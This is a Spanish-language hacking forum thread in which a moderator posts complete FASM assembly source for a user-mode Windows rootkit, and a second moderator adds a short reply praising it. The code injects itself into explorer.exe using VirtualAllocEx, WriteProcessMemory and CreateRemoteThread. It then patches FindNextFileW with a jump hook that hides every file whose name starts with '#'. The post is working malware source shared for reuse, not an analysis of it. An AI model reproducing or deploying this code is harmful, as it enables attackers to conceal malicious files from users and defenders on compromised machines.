elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
14 Febrero 2012, 11:23  


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Análisis y Diseño de Malware (Moderadores: Karcrack, [Zero])
| | |-+  [SRC][FASM] User Mode Rootkit [FindNextFileW]
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [SRC][FASM] User Mode Rootkit [FindNextFileW]  (Leído 1,633 veces)
[Zero]
Moderador
***
Desconectado Desconectado

Mensajes: 1.050


CALL DWORD PTR DS:[0]


Ver Perfil WWW
[SRC][FASM] User Mode Rootkit [FindNextFileW]
« en: 3 Agosto 2009, 22:55 »

Código
;-------------------------------------------------------------------------------------------------
; RootKit por Hacker_Zero & YST
; RootKit sin dll que Hookea FindNextFileW en explorer ocultando los archivos que
;comiencen por '#'
;-------------------------------------------------------------------------------------------------
 
include 'C:\fasm\include\win32ax.inc'
 
.code
proc start
   locals
       ProcessName             db                              "explorer.exe",0
   endl
 
   stdcall Inyectar,addr ProcessName,FINFuncion-FuncionInyectada,FuncionInyectada,[GetProcAddress]
   cmp eax,-1
   jne salir
 
   invoke MessageBoxA,0,"No se encontró el proceso!",0,0
 
   salir:
   invoke ExitProcess,0
endp
 
proc Inyectar,ProcessName,Tamaño,Funcion,Datos
   locals
       struct PROCESSENTRY32
           dwSize                  dd ?
           cntUsage                dd ?
           th32ProcessID           dd ?
           th32DefaultHeapID       dd ?
           th32ModuleID            dd ?
           cntThreads              dd ?
           th32ParentProcessID     dd ?
           pcPriClassBase          dd ?
           dwFlags                 dd ?
           szExeFile               rb MAX_PATH
       ends
 
       pInfo                   PROCESSENTRY32                  ?
       Handle                  dd                              ?
       PID                     dd                              ?
       DirFuncion              dd                              ?
       hProcess                dd                              ?
   endl
 
   pushad
 
   ;Obtenemos el PID del proceso
   invoke CreateToolhelp32Snapshot,0x00000002,0
   mov [Handle],eax
 
    mov eax,sizeof.PROCESSENTRY32
    mov [pInfo.dwSize], eax
 
   BuclePid:
       invoke Process32Next,[Handle],addr pInfo
       cmp eax,0
       je FinProcBuclePID ;No hay más procesos
       invoke lstrcmp,addr pInfo.szExeFile,[ProcessName]
       cmp eax,0
       jne BuclePid
       jmp FinBuclePid
 
   FinProcBuclePID:
   invoke CloseHandle,[Handle]
   popad
   mov eax,-1
   ret
 
   FinBuclePid:
   invoke CloseHandle,[Handle]
   push [pInfo.th32ProcessID]
   pop [PID]
 
   ;Lazamos el proceso
   invoke OpenProcess,PROCESS_CREATE_THREAD+PROCESS_VM_OPERATION+PROCESS_VM_WRITE,FALSE,[PID]
   mov [hProcess],eax
 
   ;Reservamos espacio en el proceso
   invoke VirtualAllocEx,[hProcess],0,[Tamaño],MEM_COMMIT+MEM_RESERVE,PAGE_EXECUTE_READWRITE
   mov [DirFuncion],eax
 
   ;Escribimos los datos en memoria
   invoke WriteProcessMemory,[hProcess],[DirFuncion],[Funcion],[Tamaño],0
 
   ;Creamos el hilo
   invoke CreateRemoteThread,[hProcess],0,0,[DirFuncion],[Datos],0,0
   popad
   mov eax,1
   ret
endp
 
proc FuncionInyectada,pGetProcAddress
 
    locals
        BaseKernel32                   dd               ?
        OriginalProtection             dd               ?
    endl
 
    ;Leemos el PEB  para obtener la base de KERNEL32.DLL
    xor  eax, eax
    add  eax,[fs:eax+30h]
    mov  eax, [eax + 0ch]
    mov  esi, [eax + 1ch]
    lodsd
    mov  eax, [eax + 08h]
    mov [BaseKernel32],eax
 
    ;Obtenemos la dirección de FindNextFileA
    stdcall [pGetProcAddress],[BaseKernel32],'FindNextFileW'
    mov ebx,eax
 
    stdcall [pGetProcAddress],[BaseKernel32],"VirtualProtect"
    stdcall eax,ebx,7,PAGE_EXECUTE_READWRITE,addr OriginalProtection
 
    ;Calculamos el delta offset
    call delta
    delta:
    pop edx
    sub edx,delta  ;edx=delta
 
    ;Lo guardamos en la pila
    push edx
 
    ;Guardamos la dirección de FindNextFileW en la variable dirFindNextFileW
    add edx,dirFindNextFileW
    mov dword[edx],ebx
 
    pop edx
 
    mov ecx,edx
    add ecx,ApiOriginal
    mov al,byte[ebx]
    mov byte[ecx],al
    mov byte[ebx],0xE9   ;0xE9=jmp
    inc ebx
    inc ecx
 
    mov eax,dword[ebx]
    mov dword[ecx],eax
    mov eax,FuncionHook
    add eax,edx
    sub eax,ebx
    sub eax,4
    mov dword[ebx],eax   ;la dirección a la que saltará
 
    add ebx,4
    add ecx,4
 
    mov ax,word[ebx]
    mov word[ecx],ax
 
    mov word[ebx],0x9090
 
    ret          ;Terminamos, ya hemos modificado el principio de la api,
                 ;cuando el programa llame a FindNextFileW, saltará a FuncionHook
 
;--------------------------------------------------------------------------------------------------------------------------------------------
 
    ;Contiene los 7 primeros bytes de la Api FindNextFileW y una rutina para saltar a FindNextFileW+7
    ApiOriginal:
        ;edx=delta
        ;7 nops que cambiaremos en tiempo de ejecución por los 7 primeros bytes de FindNextFileW
        nop
        nop
        nop
        nop
        nop
        nop
        nop
 
        add edx,dirFindNextFileW  ;Obtenemos la dirección de FindNextFileW leyendo
        mov eax,dword[edx]      ;la variable dirFindNextFileW y la guardamos en eax
        add eax,7           ;Nos desplazamos 7 bytes
        jmp eax             ;Saltamos a FindNextFileW+7
 
;--------------------------------------------------------------------------------------------------------------------------------------------
 
    ;Función a la que salta el programa cuando se llama a la API hookeada
    proc FuncionHook,hFindFile,lpFindFileData
        Volver:
        ;Obtenemos el delta offset
        call delta2
        delta2:
        pop edx
        sub edx,delta2
 
        ;Llamamos a nuestro buffer
        push [lpFindFileData]
        push [hFindFile]
        mov ecx,edx
        add ecx,ApiOriginal
        call ecx
        cmp eax,0
        je Retornar
 
        mov ebx,[lpFindFileData]
        add ebx,44
        cmp byte[ebx],'#'
        jne Retornar
 
        jmp Volver
 
        Retornar:
        ret
   endp
;-------------------------------------------------------------------------------------------------------------------------------------------
 
        dirFindNextFileW                  dd                      ?
endp
 
FINFuncion:
.end start
 

Más Detalles

Saludos  ;)
« Última modificación: 4 Agosto 2009, 14:50 por Hacker_Zero » En línea


“El Hombre, en su orgullo, creó a Dios a su imagen y semejanza.”
Nietzsche
Karcrack
Moderador
***
Desconectado Desconectado

Mensajes: 2.132


Se siente observado ¬¬'


Ver Perfil
Re: [SRC][FASM] User Mode Rootkit [FindNextFileW]
« Respuesta #1 en: 4 Agosto 2009, 14:39 »

Muy bueno, os lo añado al recopilatorio ;)

Para mas informacion sobre los Userland Rootkit:
Código:
http://foro.elhacker.net/analisis_y_diseno_de_malware/taller_api_hooking_en_modo_usuario-t262962.0.html
« Última modificación: 4 Agosto 2009, 14:43 por Karcrack » En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines